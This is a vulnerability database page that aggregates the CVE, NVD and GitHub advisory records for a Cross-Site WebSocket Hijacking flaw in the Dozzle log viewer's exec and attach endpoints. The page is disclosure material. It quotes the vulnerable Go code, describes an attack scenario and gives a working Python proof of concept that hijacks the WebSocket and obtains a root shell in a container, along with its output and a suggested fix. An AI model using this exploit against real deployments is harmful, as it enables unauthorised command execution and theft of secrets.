Vulnerability-Lookup

CVE-2026-44985 (GCVE-0-2026-44985)

Vulnerability from cvelistv5 – Published: 2026-05-26 21:58 – Updated: 2026-05-28 14:15

Title

Dozzle: Cross-Site WebSocket Hijacking (CSWSH) on exec/attach endpoints bypasses authentication

Summary

Dozzle is a realtime log viewer for docker containers. Prior to 10.5.2, he WebSocket upgrader for the /exec and /attach endpoints uses CheckOrigin: func(r *http.Request) bool { return true }, accepting upgrade requests from any origin. Combined with the JWT cookie using SameSite: Lax, this enables Cross-Site WebSocket Hijacking (CSWSH). An attacker hosting a page on a same-site origin (e.g., a sibling subdomain, or another service on localhost) can initiate a WebSocket connection to the exec endpoint that carries the victim's valid JWT cookie, gaining interactive shell access in any container the victim is authorized to access. This vulnerability is fixed in 10.5.2.

Severity

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-28 14:14 UTC

CWE

CWE-346 - Origin Validation Error

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7843 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/amir20/dozzle/security/advisor…	x_refsource_CONFIRM
https://github.com/amir20/dozzle/releases/tag/v10.5.2	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
amir20	dozzle	Affected: < 10.5.2	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-44985

Vulnerability from fkie_nvd - Published: 2026-05-26 22:16 - Updated: 2026-07-24 12:10

Severity

9.6 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/amir20/dozzle/releases/tag/v10.5.2	Product, Release Notes
security-advisories@github.com	https://github.com/amir20/dozzle/security/advisories/GHSA-j643-x8pv-8m67	Exploit, Mitigation, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/amir20/dozzle/security/advisories/GHSA-j643-x8pv-8m67	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	amirraminfar	dozzle	*

JSON

To clipboard

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    },
    {
      "lang": "es",
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          "baseScore": 8.7,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-44985",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-05-28T14:14:53.489379Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-05-26T22:16:43.587",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product",
        "Release Notes"
      ],
      "url": "https://github.com/amir20/dozzle/releases/tag/v10.5.2"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/amir20/dozzle/security/advisories/GHSA-j643-x8pv-8m67"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/amir20/dozzle/security/advisories/GHSA-j643-x8pv-8m67"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-346"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-J643-X8PV-8M67

Vulnerability from github – Published: 2026-05-11 14:07 – Updated: 2026-06-08 23:35

Summary

Dozzle's Cross-Site WebSocket Hijacking (CSWSH) on exec/attach endpointsbypasses authentication

Details

Summary

The WebSocket upgrader for the /exec and /attach endpoints uses CheckOrigin: func(r *http.Request) bool { return true }, accepting upgrade requests from any origin. Combined with the JWT cookie using SameSite: Lax, this enables Cross-Site WebSocket Hijacking (CSWSH) — even when authentication is properly configured.

An attacker hosting a page on a same-site origin (e.g., a sibling subdomain, or another service on localhost) can initiate a WebSocket connection to the exec endpoint that carries the victim's valid JWT cookie, gaining interactive shell access in any container the victim is authorized to access.

Root cause

1. CheckOrigin bypassed (internal/web/terminal.go:15-21)

var upgrader = websocket.Upgrader{
    ReadBufferSize:  1024,
    WriteBufferSize: 1024,
    CheckOrigin: func(r *http.Request) bool {
        return true
    },
}

The gorilla/websocket default CheckOrigin rejects cross-origin requests. Overriding it to return true removes the only server-side defense against CSWSH.

2. JWT cookie with SameSite=Lax (internal/web/auth.go:20-27)

http.SetCookie(w, &http.Cookie{
    Name:     "jwt",
    Value:    token,
    HttpOnly: true,
    Path:     "/",
    SameSite: http.SameSiteLaxMode,
    Expires:  expires,
})

SameSite operates at the site level (eTLD+1), not the origin level. A page on evil.example.com can make a WebSocket request to dozzle.example.com and the browser will attach the JWT cookie, because they share the same site (example.com). SameSite=Lax only blocks cross-site requests (different eTLD+1), not cross-origin requests within the same site.

Attack scenario

Preconditions: Dozzle is deployed with --enable-shell and authentication configured (simple auth). The victim is logged in.

Attacker controls a page on the same site (e.g., attacker.example.com, or another service on localhost:8888 while Dozzle is on localhost:9090)
Victim visits the attacker's page while authenticated to Dozzle
Attacker's JavaScript opens new WebSocket('wss://dozzle.example.com/api/hosts/{host}/containers/{id}/exec')
Browser sends the JWT cookie (same-site, SameSite=Lax allows it)
Dozzle's CheckOrigin returns true — upgrade accepted
Auth middleware validates the JWT from the cookie — request authenticated
Attacker has a shell in the victim's authorized containers

PoC (auth enabled)

Setup — Dozzle with authentication + shell:

docker-compose.yml:

services:
  dozzle:
    image: amir20/dozzle:latest
    ports:
      - "9090:8080"
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock:ro
      - ./data:/data
    environment:
      - DOZZLE_AUTH_PROVIDER=simple
      - DOZZLE_ENABLE_SHELL=true

  target:
    image: alpine:latest
    command: sh -c "while true; do sleep 3600; done"

data/users.yml:

users:
  admin:
    name: Admin
    # password: admin123
    password: "$2b$11$NdL2aePdZmwFzqGo5YYqaOwG.26CjSlnzU3VQNTEGnT0ewbds2JNS"
    email: admin@test.local
    roles: shell

Exploit — CSWSH with cross-origin Origin header + victim's cookie:

import json, time, websocket, requests

target = "http://localhost:9090"

# Verify auth is enabled
r = requests.get(f"{target}/api/events/stream", timeout=5, stream=True)
r.close()
assert r.status_code == 401, "Auth not enabled"

# Victim logs in
r = requests.post(f"{target}/api/token", data={"username": "admin", "password": "admin123"})
jwt = r.headers["Set-Cookie"].split("jwt=")[1].split(";")[0]

# Get container info (authenticated)
r = requests.get(f"{target}/api/events/stream", cookies={"jwt": jwt}, stream=True, timeout=10)
for line in r.iter_lines(decode_unicode=True):
    if line and line.startswith("data: "):
        data = json.loads(line[6:])
        if isinstance(data, list) and len(data) > 0 and "host" in data[0]:
            host_id = data[0]["host"]
            cid = data[0]["id"]
            break
r.close()

# CSWSH: cross-origin WebSocket with victim's cookie
ws_url = f"ws://localhost:9090/api/hosts/{host_id}/containers/{cid}/exec"
ws = websocket.create_connection(
    ws_url, timeout=10,
    cookie=f"jwt={jwt}",
    origin="http://localhost:8888"  # DIFFERENT origin
)
# Connected! CheckOrigin:true accepted the cross-origin request

ws.send(json.dumps({"type": "resize", "width": 120, "height": 40}))
time.sleep(1); ws.recv()

ws.send(json.dumps({"type": "userinput", "data": "id\n"}))
time.sleep(2)
ws.settimeout(2)
output = []
try:
    while True:
        output.append(ws.recv())
except:
    pass
ws.close()
print("".join(output))
# uid=0(root) gid=0(root) groups=0(root)

# Verify: without cookie = rejected
try:
    ws2 = websocket.create_connection(ws_url, timeout=5, origin="http://localhost:8888")
    ws2.close()
except Exception as e:
    print(f"Without cookie: {e}")  # 401 Unauthorized

Result:

[+] Auth is ENABLED (events stream returns 401)
[+] WebSocket CONNECTED with cross-origin Origin: http://localhost:8888
[+] uid=0(root) gid=0(root) groups=0(root)
[+] Without cookie -> 401 Unauthorized

Impact

Users who deploy Dozzle with --enable-shell and properly configure authentication are still vulnerable to CSWSH. An attacker on a same-site origin can hijack the authenticated WebSocket to:

Execute arbitrary commands in any container the victim has access to
Read secrets, environment variables, and files inside containers
Pivot to other services accessible from the container network
Potentially escape to the Docker host if the socket is mounted writable

Suggested fix

Remove the custom CheckOrigin override and use the gorilla/websocket default, which rejects cross-origin requests:

var upgrader = websocket.Upgrader{
    ReadBufferSize:  1024,
    WriteBufferSize: 1024,
    // Default CheckOrigin rejects cross-origin requests
}

Severity

9.6 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/amir20/dozzle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "10.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44985"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T14:07:21Z",
    "nvd_published_at": "2026-05-26T22:16:43Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe WebSocket upgrader for the `/exec` and `/attach` endpoints uses `CheckOrigin: func(r *http.Request) bool { return true }`, accepting upgrade requests from any origin. Combined with the JWT cookie using `SameSite: Lax`, this enables Cross-Site WebSocket Hijacking (CSWSH) \u2014 **even when authentication is properly configured**.\n\nAn attacker hosting a page on a same-site origin (e.g., a sibling subdomain, or another service on localhost) can initiate a WebSocket connection to the exec endpoint that carries the victim\u0027s valid JWT cookie, gaining interactive shell access in any container the victim is authorized to access.\n\n## Root cause\n\n**1. CheckOrigin bypassed (`internal/web/terminal.go:15-21`)**\n\n```go\nvar upgrader = websocket.Upgrader{\n    ReadBufferSize:  1024,\n    WriteBufferSize: 1024,\n    CheckOrigin: func(r *http.Request) bool {\n        return true\n    },\n}\n```\n\nThe gorilla/websocket default CheckOrigin rejects cross-origin requests. Overriding it to return `true` removes the only server-side defense against CSWSH.\n\n**2. JWT cookie with SameSite=Lax (`internal/web/auth.go:20-27`)**\n\n```go\nhttp.SetCookie(w, \u0026http.Cookie{\n    Name:     \"jwt\",\n    Value:    token,\n    HttpOnly: true,\n    Path:     \"/\",\n    SameSite: http.SameSiteLaxMode,\n    Expires:  expires,\n})\n```\n\n`SameSite` operates at the **site** level (eTLD+1), not the origin level. A page on `evil.example.com` can make a WebSocket request to `dozzle.example.com` and the browser will attach the JWT cookie, because they share the same site (`example.com`). `SameSite=Lax` only blocks cross-**site** requests (different eTLD+1), not cross-**origin** requests within the same site.\n\n## Attack scenario\n\nPreconditions: Dozzle is deployed with `--enable-shell` and authentication configured (simple auth). The victim is logged in.\n\n1. Attacker controls a page on the same site (e.g., `attacker.example.com`, or another service on `localhost:8888` while Dozzle is on `localhost:9090`)\n2. Victim visits the attacker\u0027s page while authenticated to Dozzle\n3. Attacker\u0027s JavaScript opens `new WebSocket(\u0027wss://dozzle.example.com/api/hosts/{host}/containers/{id}/exec\u0027)`\n4. Browser sends the JWT cookie (same-site, `SameSite=Lax` allows it)\n5. Dozzle\u0027s `CheckOrigin` returns `true` \u2014 upgrade accepted\n6. Auth middleware validates the JWT from the cookie \u2014 request authenticated\n7. Attacker has a shell in the victim\u0027s authorized containers\n\n## PoC (auth enabled)\n\n**Setup \u2014 Dozzle with authentication + shell:**\n\ndocker-compose.yml:\n```yaml\nservices:\n  dozzle:\n    image: amir20/dozzle:latest\n    ports:\n      - \"9090:8080\"\n    volumes:\n      - /var/run/docker.sock:/var/run/docker.sock:ro\n      - ./data:/data\n    environment:\n      - DOZZLE_AUTH_PROVIDER=simple\n      - DOZZLE_ENABLE_SHELL=true\n\n  target:\n    image: alpine:latest\n    command: sh -c \"while true; do sleep 3600; done\"\n```\n\ndata/users.yml:\n```yaml\nusers:\n  admin:\n    name: Admin\n    # password: admin123\n    password: \"$2b$11$NdL2aePdZmwFzqGo5YYqaOwG.26CjSlnzU3VQNTEGnT0ewbds2JNS\"\n    email: admin@test.local\n    roles: shell\n```\n\n**Exploit \u2014 CSWSH with cross-origin Origin header + victim\u0027s cookie:**\n\n```python\nimport json, time, websocket, requests\n\ntarget = \"http://localhost:9090\"\n\n# Verify auth is enabled\nr = requests.get(f\"{target}/api/events/stream\", timeout=5, stream=True)\nr.close()\nassert r.status_code == 401, \"Auth not enabled\"\n\n# Victim logs in\nr = requests.post(f\"{target}/api/token\", data={\"username\": \"admin\", \"password\": \"admin123\"})\njwt = r.headers[\"Set-Cookie\"].split(\"jwt=\")[1].split(\";\")[0]\n\n# Get container info (authenticated)\nr = requests.get(f\"{target}/api/events/stream\", cookies={\"jwt\": jwt}, stream=True, timeout=10)\nfor line in r.iter_lines(decode_unicode=True):\n    if line and line.startswith(\"data: \"):\n        data = json.loads(line[6:])\n        if isinstance(data, list) and len(data) \u003e 0 and \"host\" in data[0]:\n            host_id = data[0][\"host\"]\n            cid = data[0][\"id\"]\n            break\nr.close()\n\n# CSWSH: cross-origin WebSocket with victim\u0027s cookie\nws_url = f\"ws://localhost:9090/api/hosts/{host_id}/containers/{cid}/exec\"\nws = websocket.create_connection(\n    ws_url, timeout=10,\n    cookie=f\"jwt={jwt}\",\n    origin=\"http://localhost:8888\"  # DIFFERENT origin\n)\n# Connected! CheckOrigin:true accepted the cross-origin request\n\nws.send(json.dumps({\"type\": \"resize\", \"width\": 120, \"height\": 40}))\ntime.sleep(1); ws.recv()\n\nws.send(json.dumps({\"type\": \"userinput\", \"data\": \"id\\n\"}))\ntime.sleep(2)\nws.settimeout(2)\noutput = []\ntry:\n    while True:\n        output.append(ws.recv())\nexcept:\n    pass\nws.close()\nprint(\"\".join(output))\n# uid=0(root) gid=0(root) groups=0(root)\n\n# Verify: without cookie = rejected\ntry:\n    ws2 = websocket.create_connection(ws_url, timeout=5, origin=\"http://localhost:8888\")\n    ws2.close()\nexcept Exception as e:\n    print(f\"Without cookie: {e}\")  # 401 Unauthorized\n```\n\n**Result:**\n```\n[+] Auth is ENABLED (events stream returns 401)\n[+] WebSocket CONNECTED with cross-origin Origin: http://localhost:8888\n[+] uid=0(root) gid=0(root) groups=0(root)\n[+] Without cookie -\u003e 401 Unauthorized\n```\n\n## Impact\n\nUsers who deploy Dozzle with `--enable-shell` and properly configure authentication are still vulnerable to CSWSH. An attacker on a same-site origin can hijack the authenticated WebSocket to:\n\n- Execute arbitrary commands in any container the victim has access to\n- Read secrets, environment variables, and files inside containers\n- Pivot to other services accessible from the container network\n- Potentially escape to the Docker host if the socket is mounted writable\n\n## Suggested fix\n\nRemove the custom `CheckOrigin` override and use the gorilla/websocket default, which rejects cross-origin requests:\n\n```go\nvar upgrader = websocket.Upgrader{\n    ReadBufferSize:  1024,\n    WriteBufferSize: 1024,\n    // Default CheckOrigin rejects cross-origin requests\n}\n```",
  "id": "GHSA-j643-x8pv-8m67",
  "modified": "2026-06-08T23:35:14Z",
  "published": "2026-05-11T14:07:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/amir20/dozzle/security/advisories/GHSA-j643-x8pv-8m67"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44985"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/amir20/dozzle"
    },
    {
      "type": "WEB",
      "url": "https://github.com/amir20/dozzle/releases/tag/v10.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Dozzle\u0027s Cross-Site WebSocket Hijacking (CSWSH) on exec/attach endpointsbypasses authentication"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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CVE-2026-44985 (GCVE-0-2026-44985)

FKIE_CVE-2026-44985

GHSA-J643-X8PV-8M67

Summary

Root cause

Attack scenario

PoC (auth enabled)

Impact

Suggested fix

Tags

Sightings

Nomenclature

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